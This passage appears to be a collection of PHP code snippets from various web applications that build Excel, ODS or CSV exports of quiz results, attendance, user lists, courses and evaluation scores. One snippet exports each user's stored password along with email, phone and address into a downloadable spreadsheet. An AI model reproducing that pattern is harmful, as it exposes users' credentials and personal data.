1));\n\t\t$worksheet->write($xlsRow, 17, \"(จังหวัด)\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 1));\n\t\t$worksheet->write($xlsRow, 18, \"เฉพาะทาง\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 1));\n\t\t$worksheet->write($xlsRow, 19, \"ปัจจุบัน\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 1));\n\t\t$worksheet->write($xlsRow, 20, \"เกษียณ\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 1));\n\t\t$worksheet->write($xlsRow, 21, \"\", set_format(\"xlsFmtTableHeader\", \"B\", \"C\", \"LRB\", 0));\n\t}", "public static function excelPlansAndProjectsHeadings()\n {\n return [\n 'Project',\n 'Status',\n 'Region',\n 'Industry',\n ];\n }", "function exportResults() {\n $format_bold = \"\";\n $format_percent = \"\";\n $format_datetime = \"\";\n $format_title = \"\";\n $surveyname = \"mobilequiz_data_export\";\n\n include_once \"./Services/Excel/classes/class.ilExcelWriterAdapter.php\";\n $excelfile = ilUtil::ilTempnam();\n $adapter = new ilExcelWriterAdapter($excelfile, FALSE);\n $workbook = $adapter->getWorkbook();\n $workbook->setVersion(8); // Use Excel97/2000 Format\n //\n // Create a worksheet\n $format_bold =& $workbook->addFormat();\n $format_bold->setBold();\n $format_percent =& $workbook->addFormat();\n $format_percent->setNumFormat(\"0.00%\");\n $format_datetime =& $workbook->addFormat();\n $format_datetime->setNumFormat(\"DD/MM/YYYY hh:mm:ss\");\n $format_title =& $workbook->addFormat();\n $format_title->setBold();\n $format_title->setColor('black');\n $format_title->setPattern(1);\n $format_title->setFgColor('silver');\n $format_title->setAlign('center');\n\n // Create a worksheet\n include_once (\"./Services/Excel/classes/class.ilExcelUtils.php\");\n\n // Get rounds from the Database\n $rounds = $this->object->getRounds();\n\n if(!count($rounds) == 0) {\n foreach($rounds as $round){\n\n // Add a seperate worksheet for every Round\n $mainworksheet =& $workbook->addWorksheet(\"Runde \".$round['round_id']);\n $column = 0;\n $row = 0;\n\n // Write first line with titles\n $mainworksheet->writeString(0, $column, ilExcelUtils::_convert_text(\"Frage\", \"excel\", $format_bold));\n $column++;\n $mainworksheet->writeString(0, $column, ilExcelUtils::_convert_text(\"Fragentyp\", \"excel\", $format_bold));\n $column++;\n $mainworksheet->writeString(0, $column, ilExcelUtils::_convert_text(\"Antwort\", \"excel\", $format_bold));\n $column++;\n $mainworksheet->writeString(0, $column, ilExcelUtils::_convert_text(\"Antworttyp\", \"excel\", $format_bold));\n $column++;\n $mainworksheet->writeString(0, $column, ilExcelUtils::_convert_text(\"Anzahl\", \"excel\", $format_bold));\n\n $round_id = $round['round_id']; \n $questions = $this->object->getQuestions($this->object->getId());\n\n if(!count($questions) == 0) {\n foreach ($questions as $question){\n\n $choices = $this->object->getChoices($question['question_id']);\n $answers = $this->object->getAnswers($round_id);\n\n switch ($question['type']) {\n case QUESTION_TYPE_SINGLE :\n case QUESTION_TYPE_MULTI:\n if(!count($choices) == 0) {\n foreach($choices as $choice){\n $count = 0;\n\n foreach ($answers as $answer){\n if (($answer['choice_id'] == $choice['choice_id'])&&($answer['value'] != 0)){\n $count++;\n }\n }\n // write into sheet\n $column = 0;\n $row++;\n $mainworksheet->writeString($row, $column, ilExcelUtils::_convert_text($question['text'], \"excel\", $format_bold));\n $column++;\n $mainworksheet->writeString($row, $column, ilExcelUtils::_convert_text($question['type'], \"excel\", $format_bold));\n $column++;\n $mainworksheet->writeString($row, $column, ilExcelUtils::_convert_text($choice['text'], \"excel\", $format_bold));\n $column++;\n $mainworksheet->writeString($row, $column, ilExcelUtils::_convert_text($choice['correct_value'], \"excel\", $format_bold));\n $column++;\n $mainworksheet->writeNumber($row, $column, ilExcelUtils::_convert_text($count, \"excel\", 0));\n }\n }\n break;\n case QUESTION_TYPE_NUM:\n if(!count($choices) == 0) {\n foreach($choices as $choice){ // Theres always only one Choice with numeric questions\n \n // get Answers to this choice\n $answers = $this->object->getAnswersToChoice($round_id, $choice['choice_id']); \n \n // Summarize the answers\n $values = array();\n foreach ($answers as $answer){\n $value = $answer['value'];\n if (key_exists($value, $values)){\n $values[$value] += 1;\n } else {\n $values[$value] = 1;\n } \n }\n \n // Sort values from low to high\n ksort($values);\n \n // Write values in Sheet\n foreach ($values as $value => $count){\n // write into sheet\n $column = 0;\n $row++;\n $mainworksheet->writeString($row, $column, ilExcelUtils::_convert_text($question['text'], \"excel\", $format_bold));\n $column++;\n $mainworksheet->writeString($row, $column, ilExcelUtils::_convert_text($question['type'], \"excel\", $format_bold));\n $column++;\n $mainworksheet->writeNumber($row, $column, ilExcelUtils::_convert_text($value, \"excel\", 0));\n $column++;\n $mainworksheet->writeNumber($row, $column, ilExcelUtils::_convert_text(' ', \"excel\", 0));\n $column++;\n $mainworksheet->writeNumber($row, $column, ilExcelUtils::_convert_text($count, \"excel\", 0));\n }\n }\n }\n break;\n }\n // write empty line after question\n $row++;\n }\n }\n }\n }\n // Send file to client\n $workbook->close();\n ilUtil::deliverFile($excelfile, \"$surveyname.xls\", \"application/vnd.ms-excel\");\n exit();\n }", "private function createFileHeadings() {\n\t\t// Allow other plugins to add their own column headers\n\t\t$headings = elgg_trigger_plugin_hook('row:headers', 'userexport', array(), $this->fields);\n\n\t\t// Attempt to translate the fields\n\t\tforeach ($headings as $key => $field) {\n\t\t\t$lang_string = \"profile:{$field}\";\n\t\t\t$heading = elgg_echo($lang_string);\n\n\t\t\t// No translation was found, fall back to the original string\n\t\t\tif ($heading === $lang_string) {\n\t\t\t\t$heading = elgg_echo($field);\n\t\t\t}\n\n\t\t\t$headings[$key] = $heading;\n\t\t}\n\n\t\t$this->writeToCSV($headings);\n\t}", "function attendance_exporttotableed($data, $filename, $format) {\n global $CFG;\n\n if ($format === 'excel') {\n require_once(\"$CFG->libdir/excellib.class.php\");\n $filename .= \".xls\";\n $workbook = new MoodleExcelWorkbook(\"-\");\n } else {\n require_once(\"$CFG->libdir/odslib.class.php\");\n $filename .= \".ods\";\n $workbook = new MoodleODSWorkbook(\"-\");\n }\n // Sending HTTP headers.\n $workbook->send($filename);\n // Creating the first worksheet.\n $myxls = $workbook->add_worksheet(get_string('modulenameplural', 'attendance'));\n // Format types.\n $formatbc = $workbook->add_format();\n $formatbc->set_bold(1);\n\n $myxls->write(0, 0, get_string('course'), $formatbc);\n $myxls->write(0, 1, $data->course);\n $myxls->write(1, 0, get_string('group'), $formatbc);\n $myxls->write(1, 1, $data->group);\n\n $i = 3;\n $j = 0;\n foreach ($data->tabhead as $cell) {\n // Merge cells if the heading would be empty (remarks column).\n if (empty($cell)) {\n $myxls->merge_cells($i, $j - 1, $i, $j);\n } else {\n $myxls->write($i, $j, $cell, $formatbc);\n }\n $j++;\n }\n $i++;\n $j = 0;\n foreach ($data->table as $row) {\n foreach ($row as $cell) {\n $myxls->write($i, $j++, $cell);\n }\n $i++;\n $j = 0;\n }\n $workbook->close();\n}", "protected function addheader($filename)\n {\n $excelObject = PHPExcel_IOFactory::load($filename);\n //$excelObject = new PHPExcel();\n $excelObject->getProperties()\n ->setCreator(\"Gemstracker\")\n ->setLastModifiedBy(\"Gemstracker\")\n ->setTitle($this->model->getName());\n\n $activeSheet = $excelObject->getActiveSheet();\n\n $columnHeaders = $this->getColumnHeaders();\n $row = 1;\n\n $exportName = $this->getName();\n\n $i=0;\n $cell = 'A1';\n foreach($columnHeaders as $columnName=>$columnHeader) {\n $column = $this->getColumn($i);\n $cell = $column . $row;\n if (isset($this->data[$exportName]) && isset($this->data[$exportName]['format']) && in_array('formatVariable', $this->data[$exportName]['format'])) {\n $activeSheet->setCellValue($cell, $columnHeader);\n } else {\n $activeSheet->setCellValue($cell, $columnName);\n }\n if ($excelCellSize = $this->model->get($columnName, 'excelCellSize')) {\n $activeSheet->getColumnDimension($column)->setWidth($excelCellSize);\n } else {\n $activeSheet->getColumnDimension($column)->setAutoSize(true);\n }\n $i++;\n }\n\n $activeSheet->getStyle(\"A1:$cell\")->getFont()->setBold(true);\n\n $objWriter = PHPExcel_IOFactory::createWriter($excelObject, \"Excel2007\");\n $objWriter->save($filename);\n }", "function createHourLogSheet($name, $data, &$workBook, $ambs){\n\t$file = 0;\n\t$excel = 1;\n\n\t$cols = array('Log ID', 'Date', 'Date Logged', 'Ambassador', 'Event Name', 'Hours', 'People', 'Schools', 'Experience', 'Questions', 'Would make your job better', 'Improvements you could make');\n\t$entries = array('id', 'eventDate', 'logTime', 'ambassador', 'eventName', 'hours', 'peopleInteracted', 'otherSchools', 'experience', 'questions', 'madeJobBetter', 'improvements');\n\n\t$numSemesterTours = count($data);\n\tif($excel)\n\t\t$tourSheet = & $workBook->add_worksheet($name. ' Hours');\n\tif($file)\n\t\tfwrite($f, \"\\nWorksheet: $name Tours\\n\");\n\t$numCols = count($cols);\n\n\t//Set the column widths\n\tfor($col = 0; $col < $numCols; $col++){\n\t\t$colName = $cols[$col];\n\t\t$colRef = $entries[$col];\t\n\t\t$maxWidth = getTextWidth($colName);\n\t\tif($excel)\n\t\t\t$tourSheet->write_string(0, $col, $colName);\n\t\tif($file)\n\t\t\tfwrite($f, \"Row: 0, Col: $col, $colRef: $colName, width:$maxWidth\\t\");\n\n\t\tfor($logNum = 0; $logNum < $numSemesterTours; $logNum++){\n\t\t\t$text = $data[$logNum][$colRef];\n\t\t\tif($colRef == 'ambassador')\n\t\t\t{\n\t\t\t\t$text = $ambs[\"$text\"]['name'];\n\t\t\t}\n\t\t\t$width = getTextWidth($text);\n\t\t\tif($width > $maxWidth){\n\t\t\t\t$maxWidth = $width;\n\t\t\t}\n\t\t\t/*\n\t\t\t //formats do not work at the moment\n\t\t\t if($col == 0){\n\t\t\t\t$tourSheet->set_row($logNum + 1, NULL, $formatOffset + ($tour % 2));\n\t\t\t}\n\t\t\t*/\n\t\t}\n\t\tif($file)\n\t\t\tfwrite($f, \"\\n\");\n\t\tif($excel)\n\t\t\t$tourSheet->set_column($col, $col, $maxWidth * (2.0/3.0));\n\t}\n\n\t//Now we just add all the logs to the right page\n\tfor($col = 0; $col < $numCols; $col++){\n\t\t$colRef = $entries[$col];\n\t\tfor($logNum = 0; $logNum < $numSemesterTours; $logNum++){\n\t\t\t$text = $data[$logNum][$colRef];\n\t\t\tif($colRef == 'ambassador')\n\t\t\t{\n\t\t\t\t$text = $ambs[\"$text\"]['name'];\n\t\t\t}\n if(is_numeric($text)){\n \tif ($colRef == 'hours') {\n $tourSheet->write_number($logNum + 1, $col, floatval($text));\n }\n else {\n\t\t\t\t $tourSheet->write_number($logNum + 1, $col, intval($text));\n }\n\t\t\t} else {\n\t\t\t\t$tourSheet->write_string($logNum + 1, $col, $text);\n\t\t\t}\n\t\t}\n\t}\n}", "public function gen_excel() {\n $this->load->library('excel');\n //activate worksheet number 1\n $this->excel->setActiveSheetIndex(0);\n //name the worksheet\n $this->excel->getActiveSheet()->setTitle('Customer list');\n\n // load database\n $this->load->database();\n\n // load model\n // get all users in array formate\n $this->load->model('Welcome_model');\n\n \n// $data['res'] = $this->customer_model->load_product_data($product, $type);\n \n $table_data = $this->Welcome_model->select_Insert_data();\n \n// echo '<pre>';\n// print_r($res);\n// exit();\n \n// $this->customer_model->create_openJobOrder_excel($data);\n $this->Welcome_model->creat_Excel($table_data);\n }", "public function export() \n \t\t{\n \t\t$data = $this->model_user->export();\n \t\t#load PHPExcel library\n \t\t$this->excel->setActiveSheetIndex(0);\n \t\t#name the worksheet\n \t\t$this->excel->getActiveSheet()->setTitle('Data User SN Health Care');\n \n \t\t#STYLING\n \t\t$styleArray = array('borders' => array('allborders' => array('style' => PHPExcel_Style_Border::BORDER_THIN,'color' => array('argb' => '0000'))));\n \n \t\t#set report header\n \t\t$this->excel->getActiveSheet()->getStyle('A:I')->getFont()->setName('Times New Roman');\n \t\t$this->excel->getActiveSheet()->mergeCells('A1:J1');\n \t\t$this->excel->getActiveSheet()->setCellValue('A1', 'DAFTAR USER APLIKASI SN HEALTH CARE');\n \t\t$this->excel->getActiveSheet()->getStyle('A1')->getAlignment()->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_CENTER);\n \t\t$this->excel->getActiveSheet()->getStyle('A1')->getAlignment()->setVertical(PHPExcel_Style_Alignment::VERTICAL_CENTER);\n \t\t$this->excel->getActiveSheet()->getStyle('A1')->getFont()->setBold(true);\n \t\t$this->excel->getActiveSheet()->getStyle('A1')->getFont()->setSize(12);\n \n \n \t\t//set column name\n \t\t$this->excel->getActiveSheet()->setCellValue('A2', 'No');\n \t\t$this->excel->getActiveSheet()->setCellValue('B2', 'Nama');\n \t\t$this->excel->getActiveSheet()->setCellValue('C2', 'Jenis Kelamin');\n \t\t$this->excel->getActiveSheet()->setCellValue('D2', 'Tanggal Lahir');\n \t\t$this->excel->getActiveSheet()->setCellValue('E2', 'Email');\n \t\t$this->excel->getActiveSheet()->setCellValue('F2', 'Password');\n \t\t$this->excel->getActiveSheet()->setCellValue('G2', 'Nomor Handphone');\n \t\t$this->excel->getActiveSheet()->setCellValue('H2', 'Wilayah');\n \t\t$this->excel->getActiveSheet()->setCellValue('I2', 'Alamat');\n \t\t$this->excel->getActiveSheet()->setCellValue('J2', 'Tanggal & Waktu Registrasi');\n \n\t\t\t $this->excel->getActiveSheet()->getStyle('A2:J2')->getAlignment()->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_CENTER);\n \n\t\t\t $this->excel->getActiveSheet()->getColumnDimension('A')->setWidth(4);\n\t\t\t $this->excel->getActiveSheet()->getColumnDimension('B')->setWidth(30);\n\t\t\t $this->excel->getActiveSheet()->getColumnDimension('C')->setWidth(15);\n\t\t\t $this->excel->getActiveSheet()->getColumnDimension('D')->setWidth(15);\n\t\t\t $this->excel->getActiveSheet()->getColumnDimension('E')->setWidth(30);\n\t\t\t $this->excel->getActiveSheet()->getColumnDimension('F')->setWidth(30);\n\t\t\t $this->excel->getActiveSheet()->getColumnDimension('G')->setWidth(20);\n\t\t\t $this->excel->getActiveSheet()->getColumnDimension('H')->setWidth(30);\n\t\t\t $this->excel->getActiveSheet()->getColumnDimension('I')->setWidth(40);\n\t\t\t $this->excel->getActiveSheet()->getColumnDimension('J')->setWidth(25);\n \n \t\t$no = 3;\n \t\t$nomor = 1;\n \t\tforeach ($data as $v) \n \t\t{\n \t\t\t\n \t\t\t$this->excel->getActiveSheet()->getStyle('A' . $no)->getAlignment()->setWrapText(true);\n \t\t\t$this->excel->getActiveSheet()->getStyle('A' . $no)->getAlignment()->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_CENTER);\n \t\t\t$this->excel->getActiveSheet()->getStyle('A' . $no)->getAlignment()->setVertical(PHPExcel_Style_Alignment::VERTICAL_CENTER);\n \t\t\t$this->excel->getActiveSheet()->setCellValue('A' . $no, $nomor);\n\n \t\t\t$this->excel->getActiveSheet()->getStyle('B' . $no)->getAlignment()->setWrapText(true);\n \t\t\t$this->excel->getActiveSheet()->getStyle('B' . $no)->getAlignment()->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_CENTER);\n \t\t\t$this->excel->getActiveSheet()->getStyle('B' . $no)->getAlignment()->setVertical(PHPExcel_Style_Alignment::VERTICAL_CENTER);\n \t\t\t$this->excel->getActiveSheet()->setCellValue('B' . $no, $v->user_name);\n\n \t\t\t$this->excel->getActiveSheet()->getStyle('C' . $no)->getAlignment()->setWrapText(true);\n \t\t\t$this->excel->getActiveSheet()->getStyle('C' . $no)->getAlignment()->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_CENTER);\n \t\t\t$this->excel->getActiveSheet()->getStyle('C' . $no)->getAlignment()->setVertical(PHPExcel_Style_Alignment::VERTICAL_CENTER);\n \t\t\t$this->excel->getActiveSheet()->setCellValue('C' . $no, $v->user_sex);\n\n \t\t\t$this->excel->getActiveSheet()->getStyle('D' . $no)->getAlignment()->setWrapText(true);\n \t\t\t$this->excel->getActiveSheet()->getStyle('D' . $no)->getAlignment()->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_CENTER);\n \t\t\t$this->excel->getActiveSheet()->getStyle('D' . $no)->getAlignment()->setVertical(PHPExcel_Style_Alignment::VERTICAL_CENTER);\n\t\t\t\t$this->excel->getActiveSheet()->setCellValue('D' . $no, $v->user_datebirth);\n\t\t\t\t \n \t\t\t$this->excel->getActiveSheet()->getStyle('E' . $no)->getAlignment()->setWrapText(true);\n \t\t\t$this->excel->getActiveSheet()->getStyle('E' . $no)->getAlignment()->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_CENTER);\n \t\t\t$this->excel->getActiveSheet()->getStyle('E' . $no)->getAlignment()->setVertical(PHPExcel_Style_Alignment::VERTICAL_CENTER);\n\t\t\t\t$this->excel->getActiveSheet()->setCellValue('E' . $no, $v->user_email);\n\t\t\t\t \n \t\t\t$this->excel->getActiveSheet()->getStyle('F' . $no)->getAlignment()->setWrapText(true);\n \t\t\t$this->excel->getActiveSheet()->getStyle('F' . $no)->getAlignment()->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_CENTER);\n \t\t\t$this->excel->getActiveSheet()->getStyle('F' . $no)->getAlignment()->setVertical(PHPExcel_Style_Alignment::VERTICAL_CENTER);\n\t\t\t\t$this->excel->getActiveSheet()->setCellValue('F' . $no, $v->user_password);\n\n \t\t\t$this->excel->getActiveSheet()->getStyle('G' . $no)->getAlignment()->setWrapText(true);\n \t\t\t$this->excel->getActiveSheet()->getStyle('G' . $no)->getAlignment()->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_CENTER);\n \t\t\t$this->excel->getActiveSheet()->getStyle('G' . $no)->getAlignment()->setVertical(PHPExcel_Style_Alignment::VERTICAL_CENTER);\n\t\t\t\t$this->excel->getActiveSheet()->setCellValue('G' . $no, $v->user_phone);\n\t\t\t\t \n \t\t\t$this->excel->getActiveSheet()->getStyle('H' . $no)->getAlignment()->setWrapText(true);\n \t\t\t$this->excel->getActiveSheet()->getStyle('H' . $no)->getAlignment()->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_CENTER);\n \t\t\t$this->excel->getActiveSheet()->getStyle('H' . $no)->getAlignment()->setVertical(PHPExcel_Style_Alignment::VERTICAL_CENTER);\n\t\t\t\t$this->excel->getActiveSheet()->setCellValue('H' . $no, $v->district_name);\n\t\t\t\t \n \t\t\t$this->excel->getActiveSheet()->getStyle('I' . $no)->getAlignment()->setWrapText(true);\n \t\t\t$this->excel->getActiveSheet()->getStyle('I' . $no)->getAlignment()->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_CENTER);\n \t\t\t$this->excel->getActiveSheet()->getStyle('I' . $no)->getAlignment()->setVertical(PHPExcel_Style_Alignment::VERTICAL_CENTER);\n\t\t\t\t$this->excel->getActiveSheet()->setCellValue('I' . $no, $v->user_address);\n\t\t\t\t \n\t\t\t\t$this->excel->getActiveSheet()->getStyle('J' . $no)->getAlignment()->setWrapText(true);\n \t\t\t$this->excel->getActiveSheet()->getStyle('J' . $no)->getAlignment()->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_CENTER);\n \t\t\t$this->excel->getActiveSheet()->getStyle('J' . $no)->getAlignment()->setVertical(PHPExcel_Style_Alignment::VERTICAL_CENTER);\n \t\t\t$this->excel->getActiveSheet()->setCellValue('J' . $no, $v->user_registerdate);\n\t\t\t\t\n\t\t\t\t$no++;\n \t\t\t$nomor++;\n \t\t}\n \n \t\t$this->excel->getActiveSheet()->getStyle('A2:J' . ($no - 1))->applyFromArray($styleArray);\n \t\tob_end_clean();\n \t\t$filename = 'Daftar User Aplikasi SN Health Care.xls'; //save our workbook as this file name\n \t\theader('Content-Type: application/vnd.ms-excel'); //mime type\n \t\theader('Content-Disposition: attachment;filename=\"' . $filename . '\"'); //tell browser what's the file name\n \t\theader('Cache-Control: max-age=0'); //no cache\n \t\t$objWriter = PHPExcel_IOFactory::createWriter($this->excel, 'Excel5');\n \t\t$objWriter->save('php://output');\n \n \t\tredirect('admin/user');\n \t\t}", "public function get()\r\n\t{\r\n\t\t$objPHPExcel = new PHPExcel();\r\n\r\n\t\t$worksheet = $objPHPExcel->createSheet(0);\r\n\r\n\t for ($cell='A'; $cell <= 'G'; $cell++)\r\n\t {\r\n\t $worksheet->getStyle($cell.'1')->getFont()->setBold(true);\r\n\t }\r\n\r\n\t $worksheet->getStyle('A1:G1')->applyFromArray(\r\n\t \tarray(\r\n\t\t 'alignment' => array(\r\n\t\t 'horizontal' => PHPExcel_Style_Alignment::HORIZONTAL_CENTER,\r\n\t\t ),\r\n\t\t 'borders' => array(\r\n\t\t 'allborders' => array(\r\n\t\t 'style' => PHPExcel_Style_Border::BORDER_THIN,\r\n\t\t 'color' => array('rgb' => '000000')\r\n\t\t )\r\n\t\t ),\r\n\t\t 'fill' => array(\r\n\t\t 'type' => PHPExcel_Style_Fill::FILL_SOLID,\r\n\t\t 'color' => array('rgb' => 'F2F2F2')\r\n\t\t )\r\n\t \t)\r\n\t );\r\n\r\n\t\t// Header dokumen\r\n\t\t $worksheet->setCellValue('A1', 'NO.')\r\n\t\t \t\t ->setCellValue('B1', 'Kode MK')\r\n\t\t \t\t ->setCellValue('C1', 'Mata Kuliah')\r\n\t\t \t\t ->setCellValue('D1', 'Mata Kuliah (Asing)')\r\n\t\t \t\t ->setCellValue('E1', 'Jumlah SKS')\r\n\t\t \t\t ->setCellValue('F1', 'Semester')\r\n\t\t \t\t ->setCellValue('G1', 'Konsentrasi');\r\n\r\n\t\t$this->db->join('concentration', 'course.concentration_id = concentration.concentration_id', 'left');\r\n\t\t$row_cell = 2;\r\n\t\tforeach($this->db->get('course')->result() as $key => $value)\r\n\t\t{\r\n\t\t\t $worksheet->setCellValue('A'.$row_cell, ++$key)\r\n\t\t\t \t\t ->setCellValue('B'.$row_cell, $value->course_code)\r\n\t\t\t \t\t ->setCellValue('C'.$row_cell, $value->course_name)\r\n\t\t\t \t\t ->setCellValue('D'.$row_cell, $value->course_name_english)\r\n\t\t\t \t\t ->setCellValue('E'.$row_cell, $value->sks)\r\n\t\t\t \t\t ->setCellValue('F'.$row_cell, ucfirst($value->semester))\r\n\t\t\t \t\t ->setCellValue('G'.$row_cell, $value->concentration_name);\r\n\t\t\t$row_cell++;\r\n\t\t}\r\n\r\n\t\t// Sheet Title\r\n\t\t$worksheet->setTitle(\"DATA MATA KULIAH\");\r\n\r\n\t\t$objPHPExcel->setActiveSheetIndex(0);\r\n\r\n $objWriter = PHPExcel_IOFactory::createWriter($objPHPExcel, 'Excel2007');\r\n header(\"Last-Modified: \" . gmdate(\"D, d M Y H:i:s\") . \" GMT\");\r\n header(\"Cache-Control: no-store, no-cache, must-revalidate\");\r\n header(\"Cache-Control: post-check=0, pre-check=0\", false);\r\n header(\"Pragma: no-cache\");\r\n header('Content-Type: application/vnd.openxmlformats-officedocument.spreadsheetml.sheet');\\\r\n header('Content-Disposition: attachment; filename=\"DATA-MATA-KULIAH.xlsx\"');\r\n $objWriter->save(\"php://output\");\r\n\t}", "public function export()\n\t{\n\t\tinclude APPPATH . 'third_party/PHPExcel/PHPExcel.php';\n\n\t\t// Panggil class PHPExcel nya\n\t\t$excel = new PHPExcel();\n\n\t\t// Settingan awal fil excel\n\t\t$excel->getProperties()->setCreator('PT Pelindo')\n\t\t\t->setLastModifiedBy('PT Pelindo')\n\t\t\t->setTitle(\"Rekap Rapor Akhlak\")\n\t\t\t->setSubject(\"Rekap Rapor Akhlak\")\n\t\t\t->setDescription(\"Rekap Rapor Akhlak\")\n\t\t\t->setKeywords(\"Rekap Rapor Akhlak\");\n\n\t\t// Buat sebuah variabel untuk menampung pengaturan style dari header tabel\n\t\t$style_col = array(\n\t\t\t'font' => array('bold' => true), // Set font nya jadi bold\n\t\t\t'alignment' => array(\n\t\t\t\t'horizontal' => PHPExcel_Style_Alignment::HORIZONTAL_CENTER, // Set text jadi ditengah secara horizontal (center)\n\t\t\t\t'vertical' => PHPExcel_Style_Alignment::VERTICAL_CENTER // Set text jadi di tengah secara vertical (middle)\n\t\t\t),\n\t\t\t'borders' => array(\n\t\t\t\t'top' => array('style' => PHPExcel_Style_Border::BORDER_THIN), // Set border top dengan garis tipis\n\t\t\t\t'right' => array('style' => PHPExcel_Style_Border::BORDER_THIN), // Set border right dengan garis tipis\n\t\t\t\t'bottom' => array('style' => PHPExcel_Style_Border::BORDER_THIN), // Set border bottom dengan garis tipis\n\t\t\t\t'left' => array('style' => PHPExcel_Style_Border::BORDER_THIN) // Set border left dengan garis tipis\n\t\t\t)\n\t\t);\n\n\t\t// Buat sebuah variabel untuk menampung pengaturan style dari isi tabel\n\t\t$style_row = array(\n\t\t\t'alignment' => array(\n\t\t\t\t'vertical' => PHPExcel_Style_Alignment::VERTICAL_CENTER // Set text jadi di tengah secara vertical (middle)\n\t\t\t),\n\t\t\t'borders' => array(\n\t\t\t\t'top' => array('style' => PHPExcel_Style_Border::BORDER_THIN), // Set border top dengan garis tipis\n\t\t\t\t'right' => array('style' => PHPExcel_Style_Border::BORDER_THIN), // Set border right dengan garis tipis\n\t\t\t\t'bottom' => array('style' => PHPExcel_Style_Border::BORDER_THIN), // Set border bottom dengan garis tipis\n\t\t\t\t'left' => array('style' => PHPExcel_Style_Border::BORDER_THIN) // Set border left dengan garis tipis\n\t\t\t)\n\t\t);\n\n\t\t$excel->setActiveSheetIndex(0)->setCellValue('A1', \"Rekap Rapor Akhlak\"); // Set kolom A1 dengan tulisan \"Rekap Rapor Akhlak\"\n\t\t$excel->getActiveSheet()->mergeCells('A1:J1'); // Set Merge Cell pada kolom A1 sampai E1\n\t\t$excel->getActiveSheet()->getStyle('A1')->getFont()->setBold(TRUE); // Set bold kolom A1\n\t\t$excel->getActiveSheet()->getStyle('A1')->getFont()->setSize(15); // Set font size 15 untuk kolom A1\n\t\t$excel->getActiveSheet()->getStyle('A1')->getAlignment()->setHorizontal(PHPExcel_Style_Alignment::HORIZONTAL_CENTER); // Set text center untuk kolom A1\n\n\t\t// Buat header tabel nya pada baris ke 3\n\t\t$excel->setActiveSheetIndex(0)->setCellValue('A3', \"NO\"); // Set kolom A3 dengan tulisan \"NO\"\n\t\t$excel->setActiveSheetIndex(0)->setCellValue('B3', \"NAMA CABANG\"); // Set kolom B3 dengan tulisan \"NIS\"\n\t\t$excel->setActiveSheetIndex(0)->setCellValue('C3', \"NILAI AMANAH\"); // Set kolom C3 dengan tulisan \"NAMA\"\n\t\t$excel->setActiveSheetIndex(0)->setCellValue('D3', \"NILAI KOMPETEN\"); // Set kolom D3 dengan tulisan \"JENIS KELAMIN\"\n\t\t$excel->setActiveSheetIndex(0)->setCellValue('E3', \"NILAI HARMONIS\"); // Set kolom E3 dengan tulisan \"ALAMAT\"\n\t\t$excel->setActiveSheetIndex(0)->setCellValue('F3', \"NILAI LOYAL\"); // Set kolom E3 dengan tulisan \"ALAMAT\"\n\t\t$excel->setActiveSheetIndex(0)->setCellValue('G3', \"NILAI ADAPTIF\"); // Set kolom E3 dengan tulisan \"ALAMAT\"\n\t\t$excel->setActiveSheetIndex(0)->setCellValue('H3', \"NILAI KOLABORATIF\"); // Set kolom E3 dengan tulisan \"ALAMAT\"\n\t\t$excel->setActiveSheetIndex(0)->setCellValue('I3', \"NILAI TOTAL\"); // Set kolom E3 dengan tulisan \"ALAMAT\"\n\t\t$excel->setActiveSheetIndex(0)->setCellValue('J3', \"TANGGAL UPLOAD\"); // Set kolom E3 dengan tulisan \"ALAMAT\"\n\n\t\t// Apply style header yang telah kita buat tadi ke masing-masing kolom header\n\t\t$excel->getActiveSheet()->getStyle('A3')->applyFromArray($style_col);\n\t\t$excel->getActiveSheet()->getStyle('B3')->applyFromArray($style_col);\n\t\t$excel->getActiveSheet()->getStyle('C3')->applyFromArray($style_col);\n\t\t$excel->getActiveSheet()->getStyle('D3')->applyFromArray($style_col);\n\t\t$excel->getActiveSheet()->getStyle('E3')->applyFromArray($style_col);\n\t\t$excel->getActiveSheet()->getStyle('F3')->applyFromArray($style_col);\n\t\t$excel->getActiveSheet()->getStyle('G3')->applyFromArray($style_col);\n\t\t$excel->getActiveSheet()->getStyle('H3')->applyFromArray($style_col);\n\t\t$excel->getActiveSheet()->getStyle('I3')->applyFromArray($style_col);\n\t\t$excel->getActiveSheet()->getStyle('J3')->applyFromArray($style_col);\n\n\t\t// Panggil function view yang ada di SiswaModel untuk menampilkan semua data siswanya\n\t\t$siswa = $this->RaporModel->view();\n\n\t\t$no = 1; // Untuk penomoran tabel, di awal set dengan 1\n\t\t$numrow = 4; // Set baris pertama untuk isi tabel adalah baris ke 4\n\t\tforeach ($siswa as $data) { // Lakukan looping pada variabel siswa\n\t\t\t$excel->setActiveSheetIndex(0)->setCellValue('A' . $numrow, $no);\n\t\t\t$excel->setActiveSheetIndex(0)->setCellValue('B' . $numrow, $data->cabang);\n\t\t\t$excel->setActiveSheetIndex(0)->setCellValue('C' . $numrow, $data->nilai_amanah . '%');\n\t\t\t$excel->setActiveSheetIndex(0)->setCellValue('D' . $numrow, $data->nilai_kompeten . '%');\n\t\t\t$excel->setActiveSheetIndex(0)->setCellValue('E' . $numrow, $data->nilai_harmonis . '%');\n\t\t\t$excel->setActiveSheetIndex(0)->setCellValue('F' . $numrow, $data->nilai_loyal . '%');\n\t\t\t$excel->setActiveSheetIndex(0)->setCellValue('G' . $numrow, $data->nilai_adaptif . '%');\n\t\t\t$excel->setActiveSheetIndex(0)->setCellValue('H' . $numrow, $data->nilai_kolab . '%');\n\t\t\t$excel->setActiveSheetIndex(0)->setCellValue('I' . $numrow, $data->nilai_total . '%');\n\t\t\t$excel->setActiveSheetIndex(0)->setCellValue('J' . $numrow, 